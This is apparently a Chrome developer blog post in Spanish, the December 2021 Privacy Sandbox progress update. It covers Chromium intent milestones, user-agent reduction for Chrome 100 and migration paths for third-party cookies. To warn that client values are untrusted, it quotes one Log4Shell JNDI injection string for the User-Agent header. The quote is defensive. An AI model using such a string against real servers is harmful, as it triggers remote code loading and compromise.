Progreso en Privacy Sandbox (diciembre de 2021)

Te damos la bienvenida a la edición de 2021 de Progress in the Privacy Sandbox, en la que se hace un seguimiento de los logros importantes en el proceso para eliminar de forma gradual las cookies de terceros en Chrome y trabajar para lograr una Web más privada. Por lo general, compartimos una descripción general de las actualizaciones del cronograma de Privacy Sandbox junto con noticias de todo el proyecto, pero diciembre fue un mes tranquilo. En cambio, revisaremos algunas de las actividades realizadas durante 2021 y proporcionaremos algunas resoluciones potenciales que puedes tomar ahora que estamos en el nuevo año.

Proceso de desarrollo de Chromium

Para que una nueva función de plataforma web llegue a Chromium, debe someterse al proceso de desarrollo abierto del proyecto. En 2021, el equipo de Privacy Sandbox produjo lo siguiente:

🥚Intención de crear un prototipo 19
🧪Intención de experimentar7
🚀Intención de envío 11
Fuente

Cada hito es también una invitación para que el ecosistema web más amplio contribuya.

Un intent de creación de prototipos es el primer punto de control, en el que invitamos al debate y la experimentación temprana. Esto significa que una propuesta estará disponible en GitHub, donde puedes hacer una pregunta creando un problema o unirte a debates y presentaciones en grupos de estándares como el IETF y el W3C. Aquí también es donde comienza la codificación, lo que significa que puedes esperar que la funcionalidad del prototipo esté disponible para las pruebas de desarrolladores detrás de una marca de función. Los comentarios iniciales son fundamentales para la validación y la iteración de propuestas.

Intentar experimentar es un paso opcional si queremos solicitar una prueba de origen. Los desarrolladores pueden registrarse para la prueba de origen de una función y, luego, probarla en producción. Se llama experimento porque tenemos aspectos específicos de la función que queremos validar en entornos del mundo real. Los desarrolladores que pueden probar y compartir los resultados de esas pruebas proporcionan comentarios valiosos para ayudar a iterar y desarrollar la función.

Un intent de envío es el evento importante final que indica que una función ya está completa y lista para la disponibilidad general. Una vez aprobada, la función se combina en una próxima versión y, luego, avanza por los canales Canary, beta y estable. Es fundamental que te asegures de probar tus sitios con las versiones Canary y beta de Chrome para detectar e informar cualquier error antes de que una función alcance la versión estable.

Propuestas

Cada propuesta de Privacy Sandbox tiene un repositorio de GitHub complementario. Un repositorio aloja una explicación para resumir la funcionalidad general, una especificación detallada para la implementación mediante navegadores y contribuciones de todo el ecosistema web en forma de problemas y solicitudes de extracción.

En 14 repositorios de Privacy Sandbox, teníamos lo siguiente:

💬545Problemas creados
250Problemas cerrados
🛠️261Se crearon las solicitudes de extracción
223Se combinaron las solicitudes de extracción
Fuente

El lenguaje de las explicaciones y especificaciones suele estar dirigido a un público que ya está familiarizado con los estándares y el desarrollo de navegadores, lo que puede ser un desafío si no lo conoces. Sin embargo, el objetivo de una explicación es explicar. Si hay puntos que no están claros o no están cubiertos, queremos que presentes un problema para que podamos actualizar y aclarar la explicación.

Resoluciones

Limpieza de primavera del usuario-agente

Como estábamos contando hacia atrás para Año Nuevo, también estamos contando hasta para Chrome 100 y la reducción incremental de la cadena de usuario-agente. Esta es una buena motivación para revisar cualquier uso de la cadena usuario-agente en tu código con el fin de comprobar si alguno de estos cambios lo afecta.

Para encontrar esas áreas, sigue estos pasos:

  1. Busca navigator.userAgent en el código JavaScript o accede al encabezado User-Agent en el código de servidor.
  2. Comprueba tu análisis de la cadena para detectar suposiciones sobre una versión de 2 dígitos. Por ejemplo, una regex que especifica \d\d o \d{2} debe reemplazarse por \d+.
  3. Verifica el uso de la cadena en cualquier lugar en el que dependas de lo siguiente:
    • versión de la plataforma (sistema operativo)
    • versión completa de compilación de Chrome
    • nombre del dispositivo móvil
  4. Estos son los valores que se reducirán a cadenas fijas en el futuro. Si necesitas acceso a estos valores, migra a User-Agent ClientHints.

Hay una actualización de diciembre para mencionar. Si adoptas User-Agent Client Hints, enviamos el Intent de envío para habilitar la delegación de sugerencias a otros orígenes en HTML a través de una etiqueta <meta>. Por ejemplo:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

Si estás de humor con una limpieza de primavera, también puedes considerar alternativas al uso del usuario-agente por completo. Si usas la cadena para detectar dispositivos móviles, investiga si puedes reemplazarla por un diseño responsivo. Si estás verificando el nombre y la versión del navegador para verificar la compatibilidad de las funciones, comprueba si puedes usar la detección de funciones en su lugar.

Siempre vale la pena recordar que no se garantiza que el usuario-agente, como cualquier valor proporcionado por el cliente, sea preciso ni que se proporcione. La vulnerabilidad de Log4j “Log4shell” reciente proporciona un ejemplo de este riesgo. Un cliente que establece su cadena usuario-agente para incluir un valor como ${jndi:ldap://example.com/file} podría obtener un sitio para analizarlo de forma activa en el servidor.

Otra actividad tradicional para el año nuevo es asegurarse de tener una cantidad saludable de galletas con ingredientes de calidad. A medida que avanzamos en la fase de eliminación de las cookies de terceros, debes asegurarte de saber cuáles de las cookies de tu sitio se verán afectadas. 2020 proporcionó una ventaja, ya que se hizo necesario marcar todas las cookies para uso entre sitios o de terceros con SameSite=None.

Cualquier cookie en la que hayas configurado el atributo SameSite como None necesitará una actualización.

Existen tres rutas posibles que puedes considerar en este momento:

  1. Si la cookie solo es necesaria en una relación 1:1 con el sitio de nivel superior, sigue el progreso de la propuesta de CHIPS. Esto implicará agregar el atributo Partitioned a la cookie.
  2. Si la cookie se usa en un contexto de varios sitios, pero solo en sitios de los que es propietario y operas, es posible que sea candidata para usar conjuntos propios. Para ello, debes definir los sitios en el conjunto y agregar el atributo SameParty a la cookie.
  3. Si la cookie se usa para proporcionar alguna forma de valor compartido en varios sitios, investiga el conjunto más amplio de propuestas de Privacy Sandbox en busca de una solución alternativa que no dependa del seguimiento entre sitios.

Si te sientes especialmente saludable, este es también un momento ideal para revisar todo el uso de cookies, ya que tenemos una buena receta para mejorar tus cookies propias.

Comentarios

A medida que continuamos publicando estas actualizaciones mensuales y progresando en Privacy Sandbox en su conjunto, queremos asegurarnos de que los desarrolladores reciban la información y la asistencia que necesitan. Cuéntanos en @ChromiumDev Twitter si hay algo que podamos mejorar en esta serie. Usaremos tus comentarios para seguir mejorando el formato.

Consulta las Preguntas frecuentes de Privacy Sandbox, que seguimos expandiendo en función de los problemas que envíes al repo de asistencia para desarrolladores. Si tienes preguntas sobre las pruebas o la implementación de cualquiera de las propuestas, comunícate con nosotros.